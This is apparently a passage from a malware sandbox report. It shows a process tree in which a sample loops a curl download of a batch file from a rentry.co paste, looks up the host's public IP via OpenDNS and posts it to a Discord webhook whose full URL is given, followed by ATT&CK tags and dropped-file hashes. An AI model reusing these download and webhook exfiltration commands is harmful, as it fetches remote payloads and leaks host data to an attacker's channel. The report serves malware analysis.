      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1696
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:420
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2696
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1712
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4764
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3808
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2492
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:968
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5056
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2292
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5116
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1688
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4356
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4304
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1188
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3540
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3504
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1936
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1556
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4824
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:740
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3956
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1624
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3280
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1112
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4416
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3992
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4348
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2684
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2680
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2868
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2016
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1584
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2576
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4488
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1868
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1508
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:212
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1316
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3768
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4424
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2968
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4280
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4684
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3052
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4292
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1516
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4516
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1016
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2376
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3792
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3692
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4156
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5024
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:768
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1420
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4648
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4204
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3324
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2080
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5008
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4536
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3672
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1588
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4472
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4680
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2252
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1792
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2656
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4848
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4788
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4448
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4352
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4212
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3164
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2156
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:116
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2976
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:8
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2040
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4256
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3744
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1292
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1412
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2132
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1252
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:512
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4868
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2476
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4100
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4944
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2964
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2260
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4640
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:856
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3068
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:996
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3700
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1256
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:880
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2284
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1224
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1304
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3036
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3532
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2516
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1948
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3812
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3652
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4756
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1500
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1188
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3524
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:5108
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2464
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2248
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1708
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3688
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3444
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2372
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1624
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3280
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4692
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4152
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4416
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4804
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3972
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4740
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4444
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2868
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2016
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1584
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2768
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:860
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2916
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4568
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3452
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3100
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2112
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4956
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5048
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4924
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3520
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4216
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4284
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3368
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4736
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1388
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2060
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4980
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:5088
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3628
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3416
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4772
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3792
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4276
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1148
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4588
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4992
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3276
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1420
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4428
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:352
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2836
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2056
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:4668
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4524
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2208
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4728
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5060
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:1912
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3620
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4988
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3828
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4704
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1732
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3492
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1312
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3028
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1280
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4460
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3680
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3864
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2976
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4620
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2152
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2136
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1292
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4560
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:3468
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4464
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:228
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2148
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:732
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4976
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2044
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:3424
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:1216
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4392
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2172
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:4116
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:420
  - - C:\Windows\system32\curl.exe
      curl -s -o op.bat https://rentry.co/nfago/raw
      4⤵
      PID:2696
  - - C:\Windows\system32\timeout.exe
      Timeout /t 5 /nobreak
      4⤵
      PID:2088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com 2>NUL|find "Address:"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    PID:3520
- - C:\Windows\system32\find.exe
    find "Address:"
    3⤵
    PID:3676
- C:\Windows\system32\curl.exe
  curl -i -H "Accept: application/json" -H "Content-Type:application/json" -X POST --data "{\"content\": \"[13:47:39.48] BOT Connected to the api's 154.61.71.13 \"}" https://discordapp.com/api/webhooks/1141892147268825178/IUMXKjBRDq-zmxzBqpZbXQgYYk64aCQAcwIC-bjly2VLNDVY2HwNkC-VMLnXgFk3UFVz
  2⤵
  PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\D198.tmp\D1A9.tmp\D1AA.bat

Filesize
3KB

MD5
d5f935d0b2ddc1212f762ebe21bcb2ae

SHA1
59a320dce6123484a146bcdeac43277b39ca03cb

SHA256
7a68493dbb79471fc0fa27ab7f57380d199fff07c881588c72819426c5c740d7

SHA512
14864ebedaa6c1a6773dc768d9d5d3ed7f102d2aaaa6f09f32f5ee9a75ab738a256ca686c7b3e2f3b65e632610bff6e8cc26da10732b2546863cb94ec84fb76d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cd2toutg.r5b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
300B

MD5
bc11268ba4c185c202d4f5e191b5717e

SHA1
e46a0b2d3074685acd5e34dbc63b1896b2c1071b

SHA256
0761ab5049c0b946386f94edd68edf23b780353e5ecef81285f45b4c6c4160f1

SHA512
74efef28230d15e886afc46ec5d7e99ee5ce0e588e71392a94f2dbae5a5223fd106749fd33a627c6a25346d7ba0d88e7a2c2f6a061012a555c112f16c746943d

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
